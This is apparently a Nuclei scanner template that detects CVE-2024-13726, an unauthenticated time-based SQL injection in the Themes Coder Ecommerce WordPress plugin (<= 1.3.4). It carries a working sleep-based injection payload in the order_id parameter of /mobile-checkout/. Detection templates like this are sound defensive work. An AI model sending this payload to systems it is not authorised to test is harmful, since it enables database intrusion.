Themes Coder Ecommerce <= 1.3.4 - SQL Injection

id: CVE-2024-13726

info:
  name: Themes Coder Ecommerce <= 1.3.4 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The Themes Coder Ecommerce WordPress plugin through 1.3.4 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection to extract sensitive database information or manipulate data.
  remediation: |
    Update Themes Coder Ecommerce plugin to a version newer than 1.3.4.
  reference:
    - https://wpscan.com/vulnerability/ec226d22-0c09-4e7c-86ec-b64819089b60/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13726
  classification:
    cve-id: CVE-2024-13726
    cwe-id: CWE-89
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    epss-score: 0.01909
    epss-percentile: 0.77304
  metadata:
    verified: true
    max-request: 2
    vendor: themescoder
    product: tc-ecommerce
    framework: wordpress
    fofa-query: body="wp-content/plugins/tc-ecommerce/"
  tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,sqli,tc-ecommerce,timebased-sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "tc-ecommerce")'
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /mobile-checkout/?order_id=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c92eef3caf82e094c6b0207e65bd775a3bf8e78b62028827842f6037ad123e9e02205546915f7be071511e948c659f476ff425cb9a8d58e390a94bf58d2527485a23:922c64590222798bb761d5b6d8e72950